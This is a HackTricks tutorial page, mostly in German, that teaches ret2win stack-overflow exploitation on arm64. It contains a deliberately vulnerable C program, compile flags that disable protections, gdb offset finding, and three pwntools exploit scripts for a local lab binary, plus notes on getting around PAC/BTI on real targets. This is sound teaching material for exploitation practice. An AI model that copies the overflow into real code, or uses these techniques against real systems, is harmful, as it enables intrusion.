Ret2win - arm64

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Eine Einführung in arm64 findest du in:

Introduction to ARM64v8

Code

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompilieren ohne pie und canary:

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Das zusätzliche Flag -mbranch-protection=none deaktiviert AArch64 Branch Protection (PAC/BTI). Wenn deine Toolchain standardmäßig PAC oder BTI aktiviert, sorgt das für reproduzierbare Labs. Um zu prüfen, ob ein kompiliertes Binary PAC/BTI verwendet, kannst du:
  • Nach AArch64 GNU properties suchen:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Prologues/Epilogues auf paciasp/autiasp (PAC) oder auf bti c Landing-Pads (BTI) untersuchen:
  • objdump -d ret2win | head -n 40

AArch64 calling convention quick facts

  • The link register is x30 (a.k.a. lr), and functions typically save x29/x30 with stp x29, x30, [sp, #-16]! and restore them with ldp x29, x30, [sp], #16; ret.
  • Das bedeutet, die gespeicherte Rücksprungadresse liegt bei sp+8 relativ zur Frame-Basis. Mit einem darunter platzierten char buffer[64] ist der übliche Overwrite-Abstand zur gespeicherten x30 64 (Buffer) + 8 (gespeichertes x29) = 72 Bytes — genau das, was wir unten finden werden.
  • The stack pointer must remain 16‑byte aligned at function boundaries. If you build ROP chains later for more complex scenarios, keep the SP alignment or you may crash on function epilogues.

Finding the offset

Pattern option

This example was created using GEF:

Starte gdb mit gef, erstelle ein Pattern und verwende es:

bash
gdb -q ./ret2win
pattern create 200
run

arm64 wird versuchen, zur Adresse im Register x30 zurückzukehren (die kompromittiert wurde). Wir können das verwenden, um den Offset des Musters zu finden:

bash
pattern search $x30

Der Offset ist 72 (9x48).

Stack-Offset-Option

Beginne damit, die Stack-Adresse zu ermitteln, an der das pc-Register gespeichert ist:

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Setze jetzt einen breakpoint nach dem read() und fahre mit continue fort, bis read() ausgeführt wird, und setze ein pattern wie 13371337:

b *vulnerable_function+28
c

Finde, wo dieses Muster im Speicher abgelegt ist:

Dann: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regulär

Ermittle die Adresse der win-Funktion:

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Eigentlich handelt es sich eher um ein off-by-2 im Stack, bei dem der PC gespeichert ist. Anstatt die gesamte return address zu überschreiben, werden wir nur die letzten 2 bytes mit 0x06c4 überschreiben.

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Ein weiteres off-by-one-Beispiel in ARM64 findest du unter https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, das ein echtes off-by-one in einer fiktiven Schwachstelle ist.

Mit PIE

tip

Kompiliere das Binary ohne das -no-pie Argument

Off-by-2

Ohne leak kennen wir nicht die exakte Adresse der win function, aber wir können den Offset der Funktion im Binary ermitteln. Wenn die return address, die wir überschreiben, bereits auf eine nahe Adresse zeigt, ist es möglich, in diesem Fall den Offset zur win function (0x7d4) zu leak und diesen Offset einfach zu verwenden:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Anmerkungen zur modernen AArch64‑Härtung (PAC/BTI) und ret2win

  • Wenn das Binary mit AArch64 Branch Protection kompiliert ist, siehst du möglicherweise paciasp/autiasp oder bti c in Funktionsprolog/-epilog. In diesem Fall:
  • Zurückkehren zu einer Adresse, die kein gültiges BTI‑Landing‑Pad ist, kann ein SIGILL auslösen. Zielt stattdessen auf den genauen Funktionsbeginn, der bti c enthält.
  • Wenn PAC für Returns aktiviert ist, können naive Überschreibungen der Rücksprungadresse fehlschlagen, weil der Epilog x30 authentifiziert. Für Lernzwecke neu mit -mbranch-protection=none bauen (s. oben). Bei echten Zielen bevorzugt non‑return hijacks (z. B. function pointer overwrites) oder baut ROP, das niemals ein autiasp/ret‑Paar ausführt, das euren gefälschten LR authentifiziert.
  • Um die Features schnell zu prüfen:
  • readelf --notes -W ./ret2win und suche nach AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC Notizen.
  • objdump -d ./ret2win | head -n 40 und suche nach bti c, paciasp, autiasp.

Ausführen auf Nicht‑ARM64‑Hosts (qemu‑user Quick‑Tipp)

Wenn du auf x86_64 bist, aber AArch64 üben möchtest:

bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Verwandte HackTricks-Seiten

Ret2syscall - ARM64

Ret2lib + Printf leak - arm64

Referenzen

  • Aktivierung von PAC und BTI auf AArch64 für Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Prozeduraufrufstandard für die Arm 64-Bit-Architektur (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks